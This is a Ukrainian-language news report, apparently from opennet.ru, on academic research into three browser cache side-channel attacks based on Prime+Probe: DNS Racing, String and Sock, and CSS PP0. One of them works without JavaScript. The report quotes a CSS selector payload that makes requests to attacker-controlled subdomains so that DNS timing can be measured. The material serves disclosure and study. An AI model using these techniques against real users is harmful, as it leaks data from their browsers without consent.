Атака із вилучення даних з кешу CPU, що реалізується у web-браузері без JavaScript

Група дослідників з кількох американських, ізраїльських та австралійських університетів розробила три атаки, що працюють у web-браузерах, для вилучення інформації про вміст процесорного кешу. Один метод працює в браузерах без JavaScript, а два інших в обхід існуючих методів захисту від атак по сторонніх каналах, у тому числі застосовуваних Tor browser і DeterFox. Код для демонстрації атак, а також необхідні для атак серверні компоненти опубліковані на GitHub.

Для аналізу вмісту кешу у всіх атаках використовується метод Prime+Probe, що передбачає заповнення кеша еталонним набором значень та визначення змін через час доступу до них при повторному заповненні. Для обходу присутніх у браузерах механізмів захисту, що заважають точному виміру часу, у двох варіантах здійснюється звернення до підконтрольного атакуючого DNS або WebSocket-серверу, на якому ведеться лог часу надходження запитів. В одному варіанті фіксований час DNS-відповіді використовується як зразок часу.

Вимірювань, виконаних із залученням зовнішніх DNS або WebSocket-серверів, завдяки застосуванню системи класифікації на основі машинного навчання, виявилося достатньо для передбачення значень з точністю до 98% у найоптимальнішому сценарії (в середньому 80-90%). Методи атаки протестовані на різних апаратних платформах (Intel, AMD Ryzen, Apple M1, Samsung Exynos) та показали себе як універсальні.

Атака із вилучення даних з кешу CPU, що реалізується у web-браузері без JavaScript

У першому варіанті атаки DNS Racing використовується класична реалізація методу Prime + Probe, що використовує масиви JavaScript. Відмінності зводяться до застосування зовнішнього таймера на базі DNS та обробника onerror, спрацьовує при спробі завантаження зображення з неіснуючого домену. Зовнішній таймер дозволяє здійснити атаку Prime+Probe у браузерах, що обмежують або повністю відключають доступ до таймерів JavaScript.

Для DNS-сервера, розміщеного в тій же мережі Ethernet, точність таймера оцінюється приблизно в 2 мс, що достатньо для проведення атаки по сторонніх каналах (для порівняння точність штатного JavaScript-таймера в Tor Browser знижена до 100 мс). Для атаки контроль за DNS-сервером не потрібен, так як час виконання операції підбирається так, щоб час відповіді від DNS служив ознакою більш раннього завершення перевірки (залежно від того раніше йди пізніше спрацював обробник onerror робиться висновок про швидкість виконання перевірочної операції з кешем) .

Другий метод атаки "String and Sock" націлений на обхід методів захисту, що обмежують низькорівневе використання масивів JavaScript. Замість масивів у «String and Sock» задіяні операції з дуже великими рядками, розмір яких вибирається так, щоб змінна покривала собою весь кеш LLC (Last level cache). Далі за допомогою функції indexOf() у рядку шукається невеликий підрядок, який спочатку відсутній у вихідному рядку, тобто. Операція пошуку призводить до перебору всього рядка. Оскільки розмір рядка відповідає розміру LLC-кешу, сканування дозволяє виконати операцію перевірки кешу без маніпуляції з масивами. Для вимірювання затримок замість DNS задіяно звернення до підконтрольного атакуючого WebSocket-серверу - перед початком та після завершення операції пошуку в рядку надсилаються запити, на основі яких на сервері обчислюється затримка, яка використовується для аналізу вмісту кешу.

Третій варіант атаки CSS PP0 реалізований через HTML і CSS, і може працювати в браузерах з відключеним JavaScript. Метод нагадує String and Sock, але не прив'язаний до JavaScript. У ході атаки формується набір CSS-селекторів, які здійснюють пошук по масці. Вихідний великий рядок, що заповнює кеш, задається через створення div тега з дуже великим ім'ям класу. Усередині розміщується набір інших div-ів зі своїми ідентифікаторами. Для кожного з цих вкладених div-ів визначається свій стиль із селектором, який здійснює пошук підрядки. При відтворенні сторінки браузер спочатку намагається обробити внутрішні div-и, що призводить до виконання операції пошуку у великому рядку. Пошук виконується за відсутньою маскою і призводить до перебору всього рядка, після чого спрацьовує умову «not» і здійснюється спроба завантаження фонового зображення, що посилається на випадкові домени: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …

Піддомени обслуговуються на DNS-сервері атакуючого, який може вимірювати затримки отримання запитів. На всі запити DNS сервер видає NXDOMAIN і веде лог точного часу звернень. В результаті обробки набору div-ів DNS-сервер атакуючого надходить серія запитів, затримки між якими корелюють з результатом перевірки вмісту кеша.

Атака із вилучення даних з кешу CPU, що реалізується у web-браузері без JavaScript


Джерело: opennet.ru

Додати коментар або відгук